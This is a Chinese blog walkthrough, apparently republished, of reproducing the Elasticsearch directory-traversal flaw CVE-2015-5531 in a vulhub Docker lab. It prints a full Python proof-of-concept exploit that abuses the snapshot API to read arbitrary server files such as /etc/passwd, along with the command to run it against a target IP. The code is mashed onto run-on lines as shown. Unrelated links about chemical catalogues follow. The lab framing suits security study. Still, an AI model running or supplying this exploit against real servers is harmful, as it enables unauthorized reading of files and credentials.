ElasticSearch 目录穿越漏洞(CVE-2015-5531)

声明

好好学习,天天向上

漏洞描述

elasticsearch 1.5.1及以前,无需任何配置即可触发该漏洞。之后的新版,配置文件elasticsearch.yml中必须存在path.repo,该配置值为一个目录,且该目录必须可写,等于限制了备份仓库的根位置。不配置该值,默认不启动这个功能。

影响范围

1.6.1以下

复现过程

这里使用v1.6.0版本

使用vulhub

cd /app/vulhub-master/elasticsearch/CVE-2015-5531

使用docker启动

docker-compose up -d

环境启动后,访问http://your-ip:9200

http://192.168.239.129:9200

直接上POC,cve-2015-5331.py,内容如下(不需要修改)

#!/usr/bin/env python# PoC for CVE-2015-5531 - Reported by Benjamin Smith# Affects ElasticSearch 1.6.0 and prior# Pedro Andujar || twitter: pandujar || email: @segfault.es || @digitalsec.net# Jose A. Guasch || twitter: @SecByDefault || jaguasch at gmail.com# Tested on default Linux (.deb) install || requires path.repo: to be set on config fileimport urllib, urllib2, json, sys, reprint "!dSR script for CVE-2015-5531\n"if len(sys.argv) <> 3:        print "Ex: %s www.example.com /etc/passwd" % sys.argv[0]        sys.exit()host = sys.argv[1]fpath = urllib.quote(sys.argv[2], safe='')port = 9200trav = 'ev1l/../../../../../../../..' reponame = 'pwn'baseurl = "http://%s:%s/_snapshot/" % (host, port)xplurl = '%s%s/%s%s' % (baseurl, reponame, trav, fpath)def createSnapdirs():try:url = "%s/%s" % (baseurl, reponame)request = urllib2.Request(url, data='{"type":"fs","settings":{"location":"dsr"}}')request.get_method = lambda: 'POST'urllib2.urlopen(request)        url = "%s/%sie" % (baseurl, reponame)        request = urllib2.Request(url, data='{"type":"fs","settings":{"location":"dsr/snapshot-ev1l"}}')        request.get_method = lambda: 'POST'        urllib2.urlopen(request)except urllib2.HTTPError, e:                data = json.load(e)print "[!] ERROR: Verify path.repo exist in config file, elasticsearch.yml:\n"print str(data['error'])sys.exit()def grabFile(xplurl):try:urllib2.urlopen(xplurl)except urllib2.HTTPError, e:data = json.load(e)extrdata = re.findall(r'\d ', str(data['error']))decoder = bytearray()for i in extrdata[ 2:]:decoder.append(int(i))print decoderdef main():createSnapdirs()grabFile(xplurl)if __name__ == "__main__":    main()

执行命令(IP自己改)

python cve-2015-5331.py 192.168.239.129 /etc/passwd

关闭镜像(每次用完后关闭)

docker-compose down

docker-compose常用命令

拉镜像(进入到vulhub某个具体目录后)

docker-compose builddocker-compose up -d

镜像查询(查到的第一列就是ID值)

docker ps -a

进入指定镜像里面(根据上一条查出的ID进入)

docker exec -it ID /bin/bash

关闭镜像(每次用完后关闭)

docker-compose down

来源:https://www.icode9.com/content-4-784601.html

(0)

相关推荐

  • 危险品一定在2015版危化品目录里面吗?

    不一定,其实2015版危化品目录里面还有普通. 是否在2015版危化品目录主要看危险特性分类鉴定报告.这个报告上面会明确写货物是否在目录里面. 对于在2105版危化品目录里面的货物,出口是需要做商检的 ...

  • 怎么看货物是否在2015版危化品目录?

    先看你这个货物是纯净物还是混合物.纯净物直接根据CAS号码可以在目录表上面直接查询.要是混合物泽需要去做分类鉴定报告来判断. 分类鉴定报告可以看到你这个货物是普货还是危险品,如果是危险品的话,可以看到 ...

  • 新中国邮资封片简目录(2015版)

    新中国邮资封片简目录(2015版) 3年封片发行资料   出版社: 人民邮电出版社; (2015年9月第一版) 本书收录了新中国邮政主管部门自1950年1月至2014年12月底所发行的全部邮 资信封. ...

  • 原鄉書院总目录(2015—2018)

    2018年 第二届原乡文学奖获奖名单及授奖辞 原乡文学奖征文作品目录(2017-2018) 散文:2018年散文目录 诗歌:2018年诗歌目录 小说:2018年小说目录 好书:2018年书房目录 大家 ...

  • A. 【227个国家和地区公司所得税和增值税税率表(2014/2015年度)】 B. 【一周税讯目录5】(4.11-4.15)

    A. [227个国家和地区公司所得税和增值税税率表(2014/2015年度)](下)按:本税率表基本上每年更新一次.好几次有人问我在哪能找到某年度的该税率表,看来该表还是有些用处的.该税率表只有很早以 ...

  • 美科学家找到数学漏洞!理论证实:人类穿越虫洞时空旅行是可行的

    科学前沿观天下 笃学明理洞寰宇 虫洞(Wormhole)是连接两个遥远空间和时间的狭窄隧道,可以进行瞬时穿越,是由爱因斯坦及纳森·罗森在1930年研究引力场方程时提出的假设,故而又被称为爱因斯坦-罗森 ...

  • 危化品目录2015版.doc

    危险化学品目录 (2015版) 二〇一五年二月 说 明 一.危险化学品的定义和确定原则 定义:具有毒害.腐蚀.爆炸.燃烧.助燃等性质,对人体.设施.环境具有危害的剧毒化学品和其他化学品. 确定原则:危 ...

  • 2015年邮票目录

    2015编年邮票2015-1<乙未年>特种邮票2015-2<拜年>特种邮票2015-3<遵义会议八十周年>纪念邮票2015-4<二十四节气(一)>特种邮 ...

  • 2015年4月“分布式发电与微电网”(微信号dggrid)技术文章推送目录

    2015年4月,本号技术文章目录如下: 1.风电海水淡化孤立微电网的运行与控制 2.微电网示范工程综述 3.TSVG智能功率模块在新能源领域的应用 4.能源互联网技术框架研究 5.孤岛微网中固态变压器 ...